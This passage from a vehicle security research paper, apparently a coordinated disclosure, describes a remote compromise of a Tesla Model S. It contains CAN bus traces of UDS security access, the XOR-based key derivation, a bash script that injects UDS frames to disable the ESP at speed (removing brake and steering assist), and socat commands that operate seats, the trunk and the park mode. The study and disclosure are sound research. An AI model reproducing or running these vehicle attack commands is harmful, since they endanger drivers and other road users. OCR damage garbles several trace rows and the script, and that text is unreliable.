24	RECV	17:54:48.822	0x0000065c	DATA Frame	0x08	02	67	04	00	00	00	00	00

#### Figure 14 Send Level 3 Key and Get a Positive Response

#### 3) Security Access Level 5

27	SEND	17:54:58.623	0x0000064c	DATA Frame	80x0	02	27	05	00	00	00	00	00
28	RECV	17:54:58.623	0x0000065c	DATA Frame	0x08	10	12	67	05	00	01	02	03
29	SEND	17:54:58.833	0x0000064c	DATA Frame	0x08	30	00	00	00	00	00	00	00
30	RECV	17:54:58.833	0x0000065c	DATA Frame	0x08	21	04	05	06	07	80	09	0a
31	RECV	17:54:58.843	0x0000065c	DATA Frame	0x08	22	0b	0c	0d	0e	0f	00	00

#### Figure 15 Send Request for Level 5

32	SEND	17:55:00.023	0x0000064c	DATA Frame	$0 \times 0 8$	10	12	27	06	35	34	37	36
~ -	0 1110	1,.00.00.010	01100000010	DITTI L'L'OUTO	01100			- · ·	00	00		0.	00
33	DECU	17.55.00 033	0200000650	DATTA Frame	0.208	30	00	00	00	00	00	00	00
55	RECV	17.00.005	0X00000000	DATA FLAME	UXUO	50	00	00	00	00	00	00	00
24	OFND	17.55.00 142	000000000		000	01	21	20	22	20	24	2-	25
34	SEND	1/:55:00.145	0X0000064C	DATA Frame	0X08	21	<u> 3 T</u>	30	33	32	30	30	31
25	GEND	17.55.00 040	00000000		000	00	2-	20	20	21-	2-	00	00
30	SEND	1/:55:00.243	0X0000064C	DATA Frame	0X08	22	зe	39	38	30	3a	00	00
20	DEGU	17.55.00 050			000	00	67	0.0	00	00	00	00	00
36	RECV	1/:55:00.253	0X0000065C	DATA Frame	0X08	02	67	06	00	00	00	00	00

#### Figure 16 Send Level 5 Key and Get a Positive Response

In the Gateway firmware, we found some bitwise XOR operations and AES algorithm have been applied to UDS Security Access function to compute security access key with provided seed. After some tries, we came to a conclusion that firmware of IC ECU adopts a simple bitwise XOR operation on a fixed 16-bytes seed with 0x35 to compute security access key. The security access key encryption algorithm is shown below:



#### Figure 17 Code to Calculate Seed and Key

#### **Disable ESP/ABS and Power-assisted System in Chassis**

If we could send UDS data frame to the target ECU through CAN Bus and set ECU into some special diagnostic mode, such as programming mode, it would cause ECU to stop sending CAN messages and responding to requests.

Our first thought was putting Electronic Parking Brake Module (EPB/EPBM) into diagnostic session, and make it stop sending messages. However, there had no negative effects on braking or steering. So, we focused on Electronic Stability Program (ESP) manufactured by Bosch on Tesla Model S. We set ESP into diagnostic programming session at low speed, and we found there was no any CAN message related to vehicle speed on CAN-CH Bus. With the result, real-time speed value on IC was not updated even when the car was actually moving at high speed. Also, ICD will show alert information about Anti-Lock Brake System (ABS). If you tried to make car steering or braking in current conditions, you would find that car has lost power-assisted steering and power-assisted brakes, it's more difficult for driver to steer and brake in this situation, comparing with normal situation. It might be a potential safety issue for drivers.

Bash shell script shown as below can inject UDS data frames though Gateway and disable ESP ECU at low speed.

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<pre>#!/bin/bash # UDS Request CANID for ESP is 0x0645 resetESP="\x01\x05\x06\x45\x02\x11\x01\x00\x00\x00\x00\x00 sessionCtlESP="\x01\x05\x06\x45\x02\x10\x02\x00\x00\x00\x00 testerPresentESP="\x01\x05\x06\x45\x02\x3E\x00\x00\x00\x00 printf \$testerPresentESP   socat - udp:gw:3500 printf \$resetESP   socat - udp:gw:3500 while [ 1 ] do     printf \$testerPresentESP   socat - udp:gw:3500 sleep 0.5 Done</pre>	" )\x00" \x00\x00"
Dolle	

Table 9 Code We Used to Disable ESP at Low Speed

### PLAY WITH CAN BUS

Based on all the vulnerabilities mentioned above, we can remotely hack a Tesla car, and then compromise the CAN Bus even when the car is running.

😣 🖻 🗉 ./control.py					
→ control ./cont	rol.py				
<sup>-</sup>  / <del>7</del>   : // /   : \///    _ \_\ \	/ / _ \    / /        (  _   \	· 			
A Simple Tesla Re	mote Control	Panel.			
Tesla> ?					
Documented comman	ds (type hel	p <topic>):</topic>			
D_mode braking N_mode exit P_mode headlamp	help mirror_off mirror_on	screen seat steeringlamp	sunroof trunk unlock	water window_off window_on	wiper
Undocumented comm	ands:				
eth_20100					
Tesla> braking					

Figure 18 A Homemade CAN Controller

```
# seat
printf "\x01\x03\x02\x09\x04\x00" | socat - udp:gw:3500
# mirror
printf "\x01\x01\x05\x0a\x00\x01\x04\x00" | socat -
udp:gw:3500
# trunk
printf "\x01\x01\x02\x48\x04\x00\x30\x07\x00\xFF\xFF\x00"
| socat - udp:gw:3500
#sunroof
```





```
printf "\x01\x01\x02\x08\x01\x50\x00\x00\x00\x00\x00\x00\x00"
| socat - udp:gw:3500
# P_mode
printf "\x01\x05\x00\x6D\x40\xD0\xXX\xXX" | socat -
udp:gw:3500
```

**Table 10 Code Snippets to Perform Operations** 

### **TESLA'S RESPONSE**

After received our report, Tesla quickly responded with an update in just 10 days.

Besides all the corresponding patch of our vulnerabilities, Tesla introduced some new mitigations to protect the in-vehicle systems. Among all the security updates, there are three main areas: browser, kernel, and the ECU firmwares.

### **Browser Security Enhancement**

From our research you can see, the QtCarBrowser is the weakest attack surface. However, because of the AppArmor and iptables, attacker can almost do nothing even he got the browser shell. If he wants to penetrate the CAN Bus, he need a LPE vulnerability first.

That's why Tesla introduced multiple ways to protect the system even when you exploited its Browser. Compared to the older version, now the QtCarBrower utilizes stricter AppArmor rules.

Here is a good example, based on the /proc folder rules, now QtCarBrowser process cannot get information from other processes, and it cannot read the /proc/kallsyms file, which means attacker cannot get the kernel addresses in browser context.

And nowadays under Linux 4.4.35, by default the dmesg restriction is on, now in Browser context we cannot read the dmesg output, so that it's hard to access some leaked info that belongs to kernel. Writing a reliable kernel exploit becomes more and more difficult.

In order to raise the security bar, Tesla makes the /tmp folder non-accessible, and the /home/browser folder is also non-executable, now we have no place to drop our post-exploitation binary, unless you write the kernel exploit by pure ROP gadgets, which is super boring.

### **Kernel Security Improvements**

Kernel security improvements on Tesla can be divided into two steps, the Linux 2.6.36 and the Linux 4.4.35.

For the Linux 2.6.36, Tesla patched all the famous kernel vulnerabilities, including put\_user, iovyroot, and the dirtycow root. It's a very good work, if you cannot port your system to the latest kernel, you should learn from Tesla. But it's time-consuming, and sophisticated hackers can always find vulnerabilities from the kernel commit logs.

Maybe due to this reason, Tesla introduced the Linux 4.4.35 kernel recently, it's a big step as the 2.6.36 kernel is nearly no mitigations. In fact, the dmesg restriction is implemented in the new kernel.

The biggest security improvement about the Linux 4.4.35 is the PXN/PAN emulation. The kernel is compiled with CONFIG\_CPU\_SW\_DOMAIN\_PAN=y by default. Based on the page isolation, now kernel context is unable to access user mode addresses. Attacker cannot read, write and execute the user mode data or code.

From the picture below you can find a typical kernel panic log because of PAN.

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Se 💿 ./control.sh
[ 165.541464] Unhandled fault: page domain fault (0x01b) at 0x00078300
[ 165.547819] pgd = da090000
[ 165.550522] [00078300] *pgd=da977831
[ 165.554110] Internal error: : 1b [#1] PREEMPT SMP ARM
[ 165.559156] Modules linked in:
[ 165.562219] CPU: 2 PID: 3247 Comm: test Tainted: G W 4.4.35-release-03mar201
7-84029-g4ddb263-dirty #see_/etc/commit
[ 165.573763] Hardware name: NVIDIA Tegra SoC (Flattened Device Tree)
<pre>[ 165.580020] task: df988640 ti: da044000 task.ti: da044000</pre>
<pre>[ 165.585418] PC is at async_run_entry_fn+0x48/0x130</pre>
[ 165.590221] LR is at SyS_listen+0x88/0x94
[ 165.594224] pc : [ <c0049650>] lr : [<c05261ec>] psr: 800b0013</c05261ec></c0049650>
[ 165.594224] sp : da045fa8 ip : 10c5387d fp : 00000000
[ 165.605682] r10: 00000000 r9 : da044000 r8 : c00102a4
[ 165.610896] r7 : 0000016e r6 : 00000000 r5 : 00000000 r4 : 000782d4
[ 165.617410] r3 : c0049650 r2 : 00000000 r1 : 00000000 r0 : c0010100
[ 165.623927] Flags: Nzcv IRQs on FIQs on Mode SVC_32 ISA ARM Segment none
[ 165.631048] Control: 10c5387d Table: 9a09004a DAC: 00000051
<pre>[ 165.636782] Process test (pid: 3247, stack limit = 0xda044218)</pre>
[ 165.642603] Stack: (0xda045fa8 to 0xda046000)
[ 165.646955] 5fa0:         000782d4 0000000 c0010100 00000000 00000000 c0049650
[ 165.655122] 5fc0: 000782d4 00000000 00000000 0000016e 000788f0 00000000 00000000 00000000
[ 165.663287] 5fe0: bea22d28 bea22d18 00010519 000213a2 600b0030 c0010100 ffffffff ffffffff
[ 165.671460] Code: e3530000 0a000033 e1c422d0 e5941028 (e594002c)

#### Figure 19 PAN Panic Logs

Now it's very hard to write a reliable exploit, attacker can no longer hijack the PC value to user mode and do whatever you want to do.

# **Code Signing Protection**

After we bypassed the integrity check to re-programmed our customized gateway firmware, Tesla introduced the code signing mechanism to protect this kind of attack.

Nowadays code signing is heavily used in Tesla cars, from the picture below you can find the signature data in different files, such as the OTA package, the ECU firmware and so on.



Figure 20 Signatures in Tesla Packages

Code signing is mainly used in the OTA update process to protect the ECU from executing the unauthorized code.

As we all know, ECU is a very small computing unit, it's hard to check the signature of its firmware, and rely on the existing architecture of Tesla's CAN Bus. Tesla implemented its code signing protection in a special way.





CID transferred two important files, boot.img and release.tgz into the Gateway.

Gateway checks the signature of the updater, which is the file boot.img. Once it is passed, gateway will turn into the update mode, load the boot.img file into ram and execute it.

The updater will load the release.tgz, which contains all firmwares of the updatable ECU. It checks the ECU's signature one by one, once passed, boot.img will reprogram the corresponding ECU firmware via UDS protocol.

### CONCLUSION

In this paper, we revealed all the vulnerabilities we utilized to achieve the remote control on Tesla Model S in both Parking and Driving Mode. as far as we know, this is the first case of remote attack which compromises CAN Bus to achieve remote control on Tesla cars.

After we submitted our report to Tesla, they responded our report and fixed the vulnerabilities efficiently, we are glad to coordinate with Tesla to ensure the driving safety, and we are glad to make the connected cars more secure.

### ACKNOWLEDGEMENT

We would like to thank all the contributors to this research project and all the members in KeenLab, Tencent.

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